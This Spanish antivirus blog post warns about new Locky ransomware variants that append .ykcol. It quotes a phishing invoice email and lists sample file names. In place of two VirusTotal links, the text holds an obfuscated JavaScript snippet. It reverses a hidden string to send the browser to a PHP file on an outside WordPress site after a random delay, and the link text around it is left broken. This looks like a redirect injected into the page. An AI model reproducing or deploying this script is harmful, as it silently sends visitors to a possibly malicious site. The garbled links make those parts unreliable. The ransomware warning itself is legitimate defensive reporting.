NUEVAS VARIANTES DE LOCKY QUE AÑADEN .ykcol a los cifrados

Anexado a mails típicos como

Asunto: Invoice
De: “Lenny Howland” <Lenny@freshbusiness.com>
Fecha: 30/09/2017 0:37
Para: Lenny@freshbusiness.com

Hi
Invoice attached for the Office365 account.
Regards
Lenny Howland

se reciben estos ficheros ransomwares Locky, con los informes de virustotal que se indican al respecto, los cuales pasamos a controlar a partir del ELISTARA 37.60 de hoy

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/d1e915dfc37bba809ef8a7bcbcf10f3932e6794bbbd8f5145b1a5190c9c2d121/analysis/1506936183/” target=”_blank” rel=”noopener”>18120.zip —> 18120.js

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/f10b85236170ff83f798368c39567137a696fe321d311bb487c0180bb2851110/analysis/1506936791/” target=”_blank” rel=”noopener”>Invoice_322924240709.vbs

__________

NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________

Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.